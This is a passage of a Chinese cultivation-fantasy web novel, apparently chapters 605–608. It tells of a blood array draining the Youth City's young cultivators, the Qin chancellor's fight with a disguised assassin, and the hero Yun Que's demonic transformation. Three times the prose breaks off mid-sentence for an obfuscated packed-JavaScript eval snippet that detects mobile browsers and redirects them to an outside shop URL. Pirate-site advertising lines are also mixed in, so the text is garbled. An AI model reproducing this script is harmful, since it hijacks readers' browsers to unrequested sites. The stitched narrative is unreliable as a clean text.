抵达皇宫,通报身份后,这两人很快见到秦皇,将地动仪出现异变的消息如实告知。 赢開正在大殿内批阅奏折,闻言眉峰一动,挥手示意两人退下。 两名丞相府家丁立刻躬身告退。 等两人走后,秦皇起身来到一侧的铜镜近前,望着镜中的自己,低语道: “少年城,发生了什么。” 镜子里的倒影,与秦皇一模一样,目光冷漠的望着对方。 过了不久, 镜中人的嘴角挑起一抹古怪的笑意,眼角仿佛 带着几分戏虐。 而秦皇的表情则丝毫未变。 随后镜中人抬起手在镜面写了三个字。 ‘看不到’ 秦皇微锁眉峰没有意外也毫无懊恼神情冷淡的抬手抹去了镜面上的字迹。 秦皇站在铜镜前暗自沉吟自语道: “少年城居然坍塌左兰山在搞什么东西让他收复少年城又不是毁了少年城莫非局势有变连左兰山也掌控不住……” 秦皇的眉峰锁得紧了几分。 丞相的能力赢開自然了解。 别说少年擂只是一份计划即便让左兰山直接出手降服满城少年也是手到擒来的事。 少年城的坍塌宛如一份阴霾蒙在了这位大秦帝王的心头。 若是连丞相都无法镇住的局面说明少年城里出现了极大的变故。 太尉整顿兵马没在天龙城秦皇犹豫着派遣影卫还是自己亲自去查看。 秦皇在铜镜前沉吟不语镜中人却再次抬手开始写字。 很快一行字迹浮现在镜面。 ‘秦外之地 写完这行字镜中人可能觉得不满意又在下面加了三个哈哈哈。 秦皇凝视着镜中的倒影冷声道: “笼中之鸟羽翼尽折无身无命可悲至极。” 说罢一挥袍袖朝着殿外行去。 转身之际秦皇还没忘对韵道了句呵呵呵。 镜面的字迹消失镜中人扬起的嘴角回落了下去脸色变得无比郁闷朝着远去的秦皇竖起了中指…… 走出大殿几步之后秦皇出现在丞相府的大门外。 推门而入。 家丁一见是皇帝亲临跪了满地。 秦皇直接来到存放地动仪的密室。 “何时发生的事。” 秦皇沉声问道。 年纪较大的白衣家丁立刻如实道: “就在刚刚!一炷香之前!” 秦皇点了点头望了眼地动仪上代表少年城的小小城池。 城没有完全坍塌缓慢崩裂着。 细碎的灰石在城池四周飘荡小城好似被一团沙尘笼罩变得模模糊糊朦朦 胧胧。 确定地动仪的变化后,秦皇就此踏出丞相府,几步之后,站上了天龙城高高的城头。 夜,以至最深之时。 一身黑衣的大秦之主,在黑夜里望向远方,高大而笔直的身影犹如一尊雕塑,在夜风中巍然不动。 守城的军兵很快发现了城头上的身影。 辨认出是皇帝后,没人敢上前,齐齐跪在远处,垂头静待。 今夜月明,云更多。 月光落在城头的帝王身上,很快又被乌云遮盖。 秦皇的面孔在云与月的明暗交替中,仿佛变得阴晴不定…… 此时, 少年城外已经形成了一层血障。 围拢城池的无数石柱从漆黑渐渐转为殷红。 城内无数少年修士的血气,被接连不断的吸收到石柱当中。 修为越低的少年,气血流失得越快。 一些年纪不大,只有九品或者八品修为的少年人,此刻的模样无比骇人。 脸上的皮肤变得松弛,眼窝开始凹陷,身体逐渐消瘦,满头黑发中出现了银丝。 沧海桑田岁月变迁,本该无比漫长的岁月之力,在少年城内好似发生了加速。 少年们,在不断苍老…… 甚至有一名修为最低的少年人,发现自己的脸上出现了皱纹。 “不……不!我不要老死!救命!救命啊!” 少年尖叫着大喊。 惊恐得犹如被猎人追杀的小兽,可惜他越是惊恐,气血流失的就越快。 在远古大阵的笼罩之下,少年们只能发出求救的声音,无法挪动脚步。 越来越多的少年哀嚎起来。 有些女孩子嚎啕大哭,绝望的心情,在此刻笼罩在所有人的心头。 少年们看不到半点希望。 死亡,近在咫尺。 人们在此时认定了少年城的劫难,来自于大秦的主人。 密旨飘落,其上的字迹有很多人看到了,加上朱幺又自称是秦皇之人,少年们在等死之际,只能将满腔怨恨统统归结在秦皇身上。 “狗皇帝!我们就算死了也和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544114|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没完!” 有人愤怒的大吼。 “今日死于少年城,明天做鬼杀皇帝!” “我们不服!有种就堂堂正正杀了我们!” “什么大秦帝王!什么天下一品!原来是个卑鄙小人!我呸!狗皇帝不得好死!” 愤怒的喝骂声不绝于耳。 也有很多人没心思去咒骂而是充满疑惑。 秦皇若是幕后主谋那么大秦丞相又如何解释? 左兰山始终站在少年城这边人家亲自出手对付朱幺与杂毛狗。 有些心智的少年们此刻对密旨的内容与朱幺所言并不完全相信这些人抱有希望认为秦皇不会如此冷血大秦丞相一定有办法破开大阵救少年城于水火之中。 当这些心怀希望的少年们望向丞相之际心头的那份希望瞬间转为了绝望。 大秦丞相正摇摇欲坠心窝处被一只手穿透! 少年们的脑海里遍布着茫然想不通为何大秦丞相堂堂二品大儒居然会落到如此下场。 不仅少年修士们茫然云缺也无比意外。 那假影卫居然有如此恐怖的实力能以一己之力击杀二品大儒! 由于法阵的存在城内轰鸣不断加上离着太远云缺听不到左兰山那边的声音。 但云缺以唇语读懂了丞相说出的那两个字。 “不灭……” 云缺的脑海里如同炸起了无数惊雷! 二品武夫的出现将局面彻底推向星辰殿一方。 三品的朱幺 他到底是谁…… 云缺死死盯着那黑衣影卫对方脸上蒙着黑布看不清模样。 虽然对方穿着黑衣但云缺几乎能断定此人肯定是十二生肖之一! 巨大的危机感就此降临云缺一时间束手无策。 别说二品斗三品都要豁出命去在不灭境武夫面前云缺毫无活路。 云缺现在只能期待。 期待左兰山别死那么快否则少年城将会成为真正的死地! 嘭! 被贯穿心窝的大秦丞相突然间以双手掐住了假影卫的手臂嘴角溢血五官狰狞的骂道: “粗鄙的、武夫!” 左兰 山的身上突然暴起一股金色气息本命文气被尽数催动在四周卷成了旋风。 大秦丞相站在旋风中心死死抓住刺客的手臂须发皆张怒不可赦。 金色文气在卷动中形成了数以万计的剑刃轰鸣着裹住了假影卫。 二品大儒的濒死一击炸起了漫天剑影! 剑光在假影卫身上席卷只能在黑衣上切出无数豁口切不动对方的本体。 假影卫却浑然不惧。 身周起伏着两重气息一重为武夫气机一重为化神灵力 随着豁口的出现假影卫黑衣下呈现出紫色。 那是一件隐在黑衣下的紫袍! 名为常疾的假影卫淡然一笑切进左兰山心窝的手臂猛然一震。 嘭!!! 闷响中不灭武夫的气机炸裂开来。 左兰山的心窝处出现了一个海碗般大小的空洞! 金色文气在此刻停息下来左兰山的目光变得愈发暗淡。 这位年过八旬的大秦丞相踉跄了一步沙哑道: “你到底是谁……” 第606章 姐!玩命了! 假影卫缓缓收回右臂,语气平静的道: “方才说过了,我是来杀你的人,陛下嫌你碍事,知道你会阻碍少年丹,所以除而后快,你,是弃子。” 左兰山暗淡的瞳孔晃动一下,怒道: “陛下荒唐!岂能在大秦之地炼化大秦少年!” 左兰山不仅生机变得暗淡,方寸也大乱,脑子里如同有无数惊雷在炸响。 他可是大秦的三朝元老! 居然落得如此结局! 左兰山呕血不断,两只大手捏得咯吱作响,脸上充满恨意。 “老夫兢兢业业为大秦操劳,却辅佐了一个昏君!苍天无眼!” 左兰山仰头大骂,形若疯癫。 悲愤交加的大秦丞相并未察觉,一旁的假影卫背在身后的另一只手,正掐动着一种古怪的法诀。 “昏君!昏君啊!竭泽而渔,江山何在!少年亡则天下亡啊!!!” 左兰山仰头悲鸣,声音嘶哑,带着无尽不甘,老泪纵横。 一句少年亡则天下亡,道出了大秦丞相的悲意,也让听闻了这句话的满城少年们,彻底陷入绝望。 少年们就此终于得知, 原来这场祭炼数十万少年修士的毒计,果然出自秦皇之手! 无数的恨意从少年们心头滋生,而这份对秦皇的恨意又加重了气血的流逝,围拢城墙的黑色石柱很快转为了殷红,如同无数冲天的血柱,代表着少年们的愤慨与凄凉。 城中心的石柱,血色蔓延得最慢,此时不到一半。 踩在石柱表面的云缺,位置,正在黑红之间。 目睹着丞相的惨状,云缺从震惊中强行恢复冷静。 此刻云缺的第一个念头,就是那假影卫在说谎! 左兰山不知为何被蒙蔽了! 竖瞳轻颤间,云缺以极强的目力发现了端倪。 假影卫背在身后的单手,居然在掐动法诀! 左兰山只要还没死,就是最大的一份助力,否则今天这场劫难,少年城的人会被炼成血丹,连云缺也逃不出去。 云缺咬紧了牙关,调动起妖气。 同时动用了文气。 将妖气与文气汇聚在一起,云缺吐气开声,大吼道: “妖!言!惑!众 !” 四个字每个字都犹如一道惊雷炸响在少年城的半空。 兽吼般的大喝响彻全城! 地面上的无数少年被声音惊得浑身一颤一些血气亏空太多的少年甚至站立不稳跌倒在地。 无数少年抬起头用茫然的目光望向云缺人们想不通少年王的吼声有何含义。 到底谁在妖言惑众? 少年们处于迷茫之中而左兰山却在瞬间清醒了过来。 蕴含妖气的吼声确实惊人宛如惊雷但是真正唤醒丞相的是妖气中蕴含的精纯文气。 左兰山暗淡的眼瞳骤然闪过一抹清明金色的本命文气再次出现。 这次的文气并非剑刃形态而是犹如一条溪流般盘旋而起在左兰山头顶幻化出一条蛟龙形态! 吼!!!!!!!!!!! 文气蛟龙发出厉吼长尾甩动间拍出了惊涛骇浪般的文气。 蛟尾砸下的方位正是对着假影卫常疾! 假影卫一拳砸出与蛟尾硬撼。 轰鸣大作!!! 金色蛟尾被击飞假影卫的脚步被震得后退了三步背在身后另一只手上的法诀也就此散开。 两人之间 左兰山的眼瞳彻底恢复了清明长袍鼓动怒目而视。 “惑心之法!好算计!” 身为丞相左兰山掌管大秦文官一脉数十载什么样的对手都遇过但如今他不得不承认对面的假影卫有着高绝到令人惊叹的心智。 不仅武力强横道门法术一样如火纯青加上如妖的心智此等人物足以在云州称霸一方! 在对方以单手切进左兰山的心窝之际人家同时动用了道门的惑心法术左兰山被重创同时也陷入法术当中神智大乱误以为对方是秦皇之人。 此时破开法术左兰山恢复清明自然不会相信对方的妖言。 而这一切全靠着云缺的那一声厉喝。 左兰山深吸一口气大喝一声盘旋于身旁的金色蛟龙随之仰天嘶吼。 随后这条蛟龙竟飞舞起来一头扎进左兰山心窝处的大洞。 顷刻之间整条蛟龙尽数没入伤口! 随着金蛟入心左 兰山的气息开始暴涨,衣袍鼓动,文气滔天。 金蛟封心! 如此手段,看得周围众人震撼不已。 二品大儒,居然如此强悍! 心窝被掏出个大洞都还能不死,而且依旧能再战! 尽管丞相恢复了气息,身后的大皇子与段无病等人都能看得出来,左兰山是在动用本命文气为自身续命,坚持不了多久。 如果不能短时间内解决对手,破局而出,少年城的所有人仍旧难以活命。 左兰山的心窝处金光闪烁,光晕中浮现着一条小巧的金蛟,宛如活物,在伤口中游走。 虽然致命的伤口被封住,但没有血肉重生的现象。 二品大儒,可以做到金蛟封心,以本命文气激发生机从而获得再战之力,却做不到不灭武夫那种恐怖的恢复能力。 左兰山抬起右手,指向东城门的方向,冷声道: “马至远,护送三位殿下离开少年城。” 马至远急忙拱手领命,亲自背上二皇子,准备突围。 段无病几步上前,护在三皇子身旁。 在场的,有不少玄龙军中的高手,纷纷冲到近前,围拢住段无病与几位皇子,摆出了阵型。 见皇子们有人护卫,其他的皇亲国戚着急了。 “把我们也带走啊!我是侯府公子!” “带我走!我是王府世子!” “我舅母是皇后!别落下我呀!” 大秦一方的人群顿时大乱,哭爹喊娘者比比皆是。 马至远犹豫了一下,望着一群皇族贵胄不知如何是好。 这次来少年城的大秦皇族可不少,随便拿出来一位都是金枝玉叶,留在少年城肯会没命。 马至远正想请示,左兰山冷声道: “其他人无需多管,你只护住皇子即可。” 丞相此言一出,犹如宣告着其他皇族的死期! 在整个大秦,也只有左兰山有如此魄力,不管其他皇亲贵胄的死活,只保皇子。 “不能扔下我们!” “带我们走吧!我挺不住了啊!” “左兰山你个老匹夫!我要去陛下面前告你!” “呜呜呜!救命,救命啊!” 大秦一方乱作一团 。 左兰山没有多看一眼,只将目光钉死在假影卫的身上。 如此局面,连他左兰山都要葬身于此,岂能会多管其他皇族子弟,以左兰山的力量,能否救出三位皇子都在两可之间。 假影卫常疾轻笑道: “何须多此一举,左大人,你今天谁也救不了。” 左兰山冷哼道: “未必!吾日三省吾身,吾剑百载归心,归心剑!” 顺着左兰山的手指,一道冲天剑气汹涌而出,直奔东侧城门! 归心剑的出现,如同讯号。 马至远段无病与一众玄龙军护着三位皇子,跟在归心剑之后冲向东城门。 由于归心剑的剑气无比强横,形成了一份庇护之力,将马至远等人与大阵暂时隔绝开来,否则五品修士想要在法阵中行走都无比艰难,六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544115|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品连动都动不了一下。 轰隆隆!!! 汹涌的剑光直接斩在城门之上。 原本木质的城门顷刻间化作齑粉,现出了城门外的高大石柱。 归心剑摧毁了城门后,径直斩在石柱上。 轰鸣声中,石柱轻微晃动,表面出现细小的裂痕。 石柱与法阵一体,以二品大儒的归心剑,居然难以斩断。 归心剑调转而回,退出十丈后再次朝着城门外的石柱斩出。 轰!轰!轰! 一剑接着一剑,不绝不断。 马至远与段无病等人已经冲到了城门处,只等着石柱被斩断一根,或者出现个豁口,他们好趁机冲出大阵。 紧张的期待中,一行人并未等来出口,而是等来了一道高大的紫袍身影。 戌狗从城头跃下,落在马至远段无病等人面前。 “没人,出得去。” 戌狗声音嘶哑的低语着,面部随之转化成狗头。 面对三阶妖王,马至远将二皇子交给赢财,他的四品修为催动到极致,大喝一声: “拼了!” 段无病与一众玄龙军的高手齐声大吼,纷纷出手。 赢财看了看围攻妖王的马至远与段无病等人,又回头看了看与假影卫对峙的丞相,再看了眼城中心石柱上肉山般的朱幺与正在攀向顶端的云缺。 “唉……这次没背锅, 背命了……” 赢财叹息一声他多么想背黑锅啊。 至少黑锅那玩意只是坏名声它不要命啊! “三弟照顾你二哥大哥也得动手了。” 赢财将赢皓交给三皇子催动五品金身气机直接加入了围攻妖王的战团。 城门下只剩赢人志一个闲人他扶着昏迷不醒的二皇子一脸的惊恐。 这位三皇子后悔得肠子都青了。 本来对擂台战就没什么兴趣他来少年擂纯属看热闹结果看到最后把自己给搭进去了。 大秦看台之上 左兰山鼓动起的文气形成狂风假影卫常疾的气机犹如恶浪两股气息互相压迫将两人之间的空气挤压出层层波纹。 两位二品强者即将再度死战! 云缺此时已经登上了中心石柱。 左右两侧是气血不断被抽离的柳真真与史得侩。 身后的地面上 云缺已经没了退路。 自己的亲人与友人都在大阵当中即将被炼制成丹。 唯有破阵才能救下满城少年! 云缺没兴趣做什么英雄也没兴趣做什么少年王至始至终云缺都是占便宜的心思打算拉拢满城苦力去帮着大晋对付邵武国。 可局面到了如此地步云缺只能拼命。 不仅为了朋友为了亲人也为了自己。 竖瞳内的血色变得更加浓郁同时在心神中喊道。 “姐!玩命了!” 月魁没有回答而是用行动代替。 云缺的头顶虚空睁开了两只狰狞血瞳! 云缺的肩头与双肋分别伸展出四只利爪! 云缺的红发无限延长勾勒出一头如猫似虎的庞大妖躯! 吼声过后云缺的姿态完全改变形如野兽獠牙毕露面对肉山般的朱幺发出冷漠之言。 “六品宗师打不过你完美金身砍不死你估计四品破军也白搭那么三阶妖王呢……吼!!!!!” 云缺的口中发出如妖的厉吼! 高大的漆黑石柱形成了另一方擂台对手仍旧是朱幺。 只不过云缺此刻的力量已经不是五品而是三阶妖王! 在无数少年面前在大秦丞相面前在星辰殿的高手面前云缺第一次展现出妖血武夫的终极形态…… 妖化!!! 注册本站会员可以解锁更多福利,快试试吧 第607章 云居避世客,发白习儒经 命,何其珍贵,世人将其当做至宝,耗尽一切手段延续。 亡命之人,其实并不算多。 大多为一时好勇斗狠,很快会被丢命的后果所惊醒,然后畏惧不前。 能真正将生命当做玩物者,多为杀生无数,煞气满身之人,如久经沙场的军中悍卒,如杀人越货的山中恶匪,如家破人亡的红眼赌徒,或者,是一些以斩妖为生,朝不保夕的猎妖之人。 对于老练的猎妖人来说, 命,是可以玩的! 少年城的这盘大棋,布置了十余年,根深蒂固,身为棋子,云缺掀不动这盘棋。 只能眼睁睁看着棋手在自娱自乐。 棋手在玩弄他人宿命,云缺自然也可以玩! 玩自己的命! 深陷死地,想要破局而出,只有一个机会,那就是干掉城里的敌人。 敌人只有三个,朱幺,杂毛狗,假影卫。 云缺将自己的目标,放在了朱幺身上。 漆黑的石柱顶端,极其宽敞,圆形的地面与擂台一模一样。 少年擂,变成了搏命之擂! 无需多言,妖化后的云缺直接发动进攻,以利爪拍向朱幺。 朱幺怪叫了一声,浑身肥肉在颤动中固化,形成了钢铁般的躯干,如同穿上一身重甲! 一柄寒气森森的重斧出现在朱幺手中,散发着比之前那大棍还要浓郁的灵气波动,高有两丈开外,闪烁锋芒。 极品法宝,加上硬化的本体,朱幺的战力再度拔升! 妖爪与重斧互相轰击,发出震耳轰鸣,石柱之上呈现出一幕无比骇人的恶战。 妖化后的云缺,完全舍弃了妖刀,以月魁之力战斗,与妖兽几乎无异。 异变后的朱幺,好似个钢铁巨人,完全以三品的蛮力作战,狂野无比。 两道身影都已经不是人形,犹如两头凶兽在擂台上亡命厮杀! 漆黑的石柱如同计时的器皿,其上的血色在缓慢上涨,一旦最后这根石柱完全变成了殷红,将代表着满城少年的气血被彻底抽空。 悬于石柱上方的血滴类似丹丸形状,其内的血色愈发殷红,好似一颗冷漠的眼珠,在俯视着少年城。 地面上, 无数少年修士变得形如枯 槁许多人已经满头白发! 气血的大量流逝预示着生机被不断抽离。 若血丹成功那么满城少年将成为遍地枯骨。 哭嚎声叫骂声求饶声嘶吼声无数充满绝望的声音汇聚在一起为这场少年擂蒙上了一层冰冷的阴霾。 此刻的少年城 在云缺与朱幺动手的同时城门处也陷入了死战。 以马至远与段无病为首百余名玄龙军尽数施展出全力攻向欺风犬。 玄龙军与虎贲军不同 其中武夫较少多为道门与儒家修士并且修为都不低属于文官中的精锐否则也不会被丞相统御。 玄龙军擅长联手作战在段无病的率领下百余人列阵为战互相呼应法术之间均有配合。 放在平常这百人队的玄龙军围杀任何五品修士都可轻而易举即便面对上万的大军也不在话下可惜今天的对手太过强大。 三阶妖王只是一个扑杀就将三名玄龙军直接咬死! 尽管有马至远的法术牵制加上大皇子亲自动手在妖王面前大秦一方仍旧难以匹敌。 段无病满眼血丝不计代价的催动法术同时以金身境的力道攻击妖犬。 赢财同样在拼命这位大皇子知道再不拼命他今天也许就没命了。 归心剑仍旧在不断轰击着封城的石柱能看到石柱上的细密裂纹越来越多。 马至远大喜急急道: “坚持住!城门就要破了!” 玄龙军齐齐大喝不顾生死的攻向妖犬。 但是很快马至远心头的希望便随着归心剑的不断暗淡而渐渐熄灭。 丞相的归心剑的确在封城石柱上留下了大量裂纹但是比起裂纹的大小与出现的速度归心剑暗淡得更快。 也就是说归心剑很难在消散之前破开城门…… 在心里沉沉一叹马至远不再多想将全部精力放在对付欺风犬身上。 即便马至远与段无病耗尽全力玄龙军的人数还是在快速减少。 一具具血肉模糊的尸体落在城门前三阶妖王的恐怖令人绝望。 城内人群中 唐太子白誉头顶的气血流失 得最慢因为他旁边的老者正竭尽全力替他抵挡着大阵的威能。 白誉早已冷静下来仰头看了看石柱顶端的云缺将目光落在城门处的恶战。 “福老去帮他们对付妖王。”白誉平静的下令。 名为福老的老者神色微变道: “殿下的修为不足以抗衡法阵我去帮忙殿下更加危险。” 白誉苦笑着摇了摇头道:“覆巢之下无完卵城门是唯一能破阵的机会若此阵不破我一样会死早死晚死又有什么区别。” 福老略一犹豫点头领命身形掠动间到了城门区域 多了一位四品高手马至远这边的压力立刻小了几分。 见是一名陌生的老者马至远也顾不得多问点头示意后与其联手施展出威力庞大的法术。 两位四品终于以法术之力将欺风犬困住一时。 福老一走白誉头顶的气血流失变得快了数倍。 这位大唐太子的鬓角处出现了一根白发。 “时也命也……” 白誉不再观望其他方向只将目光望向石柱顶端为云缺默默祈祷。 与白誉的举动类似满城少年在感觉到生命在快速流逝之际纷纷将目光望向了石柱顶端。 因为那里有他们唯一的希望。 他们的王者正在殊死而战! 连商福与商暮这两个将云缺视为敌人的大商遗民此时都将所有希望寄托在云缺身上。 “少、少年王!” 一名满脸皱纹的枯槁少年竭尽全力举起一只手以最后的力气喊出了声音。 尽管声音有气无力微小得几乎听不清楚却是身为少年修士最后的不甘之意。 “少年王!” “少年王!” 一声又一声或苍老或无力的吼声相继响起最终汇聚成了战鼓般的助威之声 少年修士们流着血流着泪以最后的生命为他们心目中的王者助威! 云缺在亡命厮杀。 月魁的妖力被尽数动用渐渐的朱幺身上开始出现伤口硬化的本体被利爪切掉了大片。 云缺以自己的力量的确无法战败 一位归真境的强者但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555254|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不是云缺一个人在战斗而是云缺与月魁合力为战! 三阶妖王的力量加上完美金身云缺的力量达到了修炼以来的顶峰! 连归真强者也招架不住。 说到底朱幺三品的境界并不扎实除非他能达到三品巅峰 说全网首发无弹窗免费阅读qiexs?(请来企鹅小 说 看最新章节 完整章节)否则此战必败无疑。 朱幺大怒之下以巨斧震开妖爪他后退了两步鼻孔中喷出两股白气。 “你吗的!你吗的!!!别以为只有你有妖力老子也有!呼噜噜!!!” 朱幺将两只胖手拍在地面硬化的本体突然膨胀开来身躯庞大了数倍一张大脸狰狞扭曲竟长出了一只猪鼻子大嘴开合间支出两颗锋利的獠牙! 妖气在朱幺身上蔓延开来他此刻的形态如同一头野猪! 云缺的视线完全被血色填满一切都是血红的颜色。 朱幺的异变云缺无暇多想他现在心头只有一个念头。 杀!!!!!! 不管是三品归真还是三阶妖王眼前的一切统统撕碎! 震天嘶吼中 血狸状态的云缺与野猪状态的朱幺再度冲杀于一处。 相比于石柱上势均力敌的局面城门处的打斗陷入了更大的危机。 尽管马至远与福老两位四品联手依旧难以困住三阶妖王欺风犬很快冲破法术继续击杀着玄龙军。 轰击城门的归心剑终于失去了最后的光泽化作点点星芒消散。 封住城门的石柱上仅有一片裂纹看不到任何碎裂的征兆。 马至远的心头沉入谷底竭尽全力的施法同时他扭头望向大秦看台方向。 此时 丞相与假影卫的对峙已经达到极致。 两股互相挤压的威压同时崩裂产生了一片狂暴的气浪周围人群纷纷被掀飞。 假影卫当先出手。 隔空一掌拍向左兰山。 这一掌竟拍出了一道超过十丈的掌印! 掌印如山轰向大秦丞相。 左兰山目光中金光流转吐气开声喝出一字: “诗!” 诗字一出 左兰山身前出现了密密麻麻的字迹均为古往今来的诗词佳作字迹排列于虚空组成了一幅大幕。 掌印与诗幕轰击在一处。 气机四散字迹翻飞互相抵消殆尽。 不等假影卫再次出手左兰山当先厉喝。 “书!” 哗啦啦!! 无数古朴的书页凭空而现成千上万组成了一圈又一圈的书牢将假影卫困在其中。 假影卫不甘示弱气机与法术同时暴起将书页撑开数丈。 左兰山双手抱拳神态恭敬朝天一拜喝道: “礼!” 随着左兰山的喝声他身后出现了一尊高达百丈的大儒虚影同样朝天而拜。 一拜之下山崩地裂! 被困于书牢的假影卫浑身炸起了无数血花。 身为二品大儒的大秦丞相展现出惊人的威能将二品武夫重创。 假影卫踉跄了一步稳住身形身上的伤势快速恢复。 他带着一丝忌惮的低语道: “云居避世客发白习儒经……大儒经。” 第608章 但我有爹啊 大儒经,二品大儒强者威能最强的一招。 汇聚五经之力,达到镇杀强敌的效果。 左兰山动用的大儒经的确威力惊人,但是后劲不足,他的伤势,注定让他难以发挥出二品大儒的全部威能。 困于书牢中的假影卫,以杀生剑破开了层层书页。 放在其他修士身上的重伤,对于不灭境的武夫来说几乎毫无影响。 冷冰冰的杀生剑这次刺向了左兰山的咽喉。 若被枭首,即便二品大儒也将命归黄泉。 迎着冰冷的剑光,左兰山道出了最后两个字。 “春、秋! 诗,书,礼,易,春秋,此为大儒经的全部。 最后的春秋之力,才是大儒经最强的一击! 随着春秋二字出口,左兰山心窝里的金色蛟龙呼啸而出,化作一柄金色的戒尺。 戒尺只有一尺长短,看似普通,其上却携带着一种古老而威严的气息。 戒尺与杀生剑撞击在一处。 没有太大的声响,只有一声轻微的断裂声。 杀生剑与戒尺相继碎裂开来,连大阵的气息仿佛都在此刻静止,天地间只剩下那细小的碎裂之音。 左兰山的身影晃动了一下,一条血线在其肚腹上迸溅! 一把灰黑色的长剑,不知何时扎进他的肚子! 剑柄之上,竟还有一只手! 并非真正的人手,而是以精纯的气机所凝炼出来的气机之手。 假影卫常疾的左手虚握,与气机之手的模样一般无二。 “太近了。 假影卫的眼角泛起一抹戏虐之意,尽管有黑布罩面,左兰山还是能看出对方肯定在冷笑。 是啊,太近了。 左兰山轻叹了一声。 他与不灭武夫的距离,太近了! 为相多年,左兰山一直身居高位,一人之下万人之上的大秦丞相,何时有过对手,以至于他早已忘记了一个最为浅显的道理。 武夫,近身无敌! 即便已经拉开十余丈远,但这么点距离,对于二品不灭境的武夫来说,依旧在近身的范围。 低语过后,假影卫虚握的左手猛然一震。 握着黑剑的气机之手做出 同样的举动,将长剑尽数扎进左兰山的肚腹。 巨大的力量之下,左兰山整个人被带飞了起来,直接钉在城中心的高大石柱之上。 远远看去,大秦丞相犹如即将处刑的死囚! 石柱上的血色,正好蔓延过左兰山的头顶,这位当世大儒的浑身气血,被身后的石柱快速吸收。 本就重创濒死,再被吸走气血,左兰山的容貌变得越发苍老,脸上的皱纹增多,生机快速消散。 石柱顶端,两道恐怖的身影仍旧在互相厮杀,一时难分难解。 云缺的神智早已变得模糊不堪,完全妖化的代价,是祭献神魂。 月魁不需要云缺的神魂,也不会吞噬云缺的元神,但是如此状态,云缺很难保持住完全的清醒,只是以强大的意志力,令心头那一丝清明犹在,否则会陷入彻底的狂暴当中。 即便如此,云缺心神中的杀意还是越来越浓。 而杀意的外现,便是血狸扑杀的速度与撕咬的强度越来越恐怖! 庞大的野猪妖浑身厚皮,堪比铁甲,却在血狸的利爪与尖牙之下,不断被撕咬下大片血肉。 石柱顶端完全被血水铺满,犹如一座鲜血铸就的擂台。 云缺在与朱幺殊死搏杀,而城门处的恶战已经到了尾声。 百余名玄龙军仅剩下两三人还活着,其余尽数被击杀。 大皇子赢财的身上有好几条血印子,伤可见骨,气喘如牛。 段无病一身白衣染成了红袍,嘴角溢血,双臂尽断。 马至远的肩头被咬掉一大块肉,连着肩胛骨都少了一块,文气暗淡,双目无光。 福老伤势更重,浑身是血,灵气杂乱,跌倒在一旁。 三阶妖王,对于这几人来说是无法匹敌的强敌,仅仅能拖上一时。 此刻大秦丞相被重创濒死,逃出生天的希望机会彻底消失。 凭着云缺一人,又怎能面对三名恐怖的强敌? 满城少年们的心头,完全被绝望所填满,没人认为自己还能活着,死亡的阴影犹如头顶的冷风,触手可及。 欺风犬踏动四爪,逼近段无病等人。 猩红的狗眼盯着面前的手下败将,眼中充满蔑视,其额头的第三只眼左右打量,在选择第一口血食。 几人身后的赢人志早已吓得瘫软在地浑身颤抖连他二哥也搀扶不住了。 第三只狗眼很快选定了目标。 福老! 欺风犬朝着福老扬起了右爪。 福老已经被重创面对三阶妖王再无抵抗之力一闭眼等死。 突然一道身影出现在福老面前。 听闻脚步声福老猛然睁眼随后神色骤变惊呼道: “殿下快逃!” 挡在福老面前的正是白誉。 听闻殿下二字 殿下这称呼在大秦之内只能是称呼三位皇子岂能乱叫。 几人很快醒悟过来。 人家能带着四品高手护卫身份肯定不会是小国的皇子之流能在三天内抵达少年城参加少年擂的国度又不是太多其中最大的国度就是大唐。 原来是大唐太子! 尽管猜到白誉的身份赢财等人也毫无怒意本来互相敌视的大秦与大唐今天成了同病相怜。 大秦皇子与大唐太子同死一处倒也称得上一场缘分。 福老拼命拉扯白誉想要让太子躲开。 白誉不为所动直面三阶妖王。 欺风犬的三只眼睛齐齐盯住了眼前弱小的唐太子狗嘴中发出冷漠之言。 “找死。” 呼!! 狗爪朝着白誉拍了下去。 白誉并未坐以待毙挡在福老身前的时候他手里便抓着一物。 是他颈上的一枚吊坠。 银色的细链顶端有一枚水晶般的小剑惟妙惟肖。 白誉一把将小剑扯了下来同时用小剑在手心里划出一条血痕。 鲜血侵入小剑将其瞬间染成红色。 迎着三阶妖王的狗爪白誉抓着小剑撞去。 在赢财段无病等人看来唐太子此举犹如顽童般胡闹小拇指大小的小剑岂能当做武器。 可随着白誉的动作竟从他手里斩出了一道恐怖的剑气! 轰鸣的剑气割裂开空气在半空划出一道白色的剑影其形如开天之刃蕴含着浓烈到极致的剑道气息! 在段无病等人眼中白誉身后 依稀浮现出一道老者握剑而斩的身影。 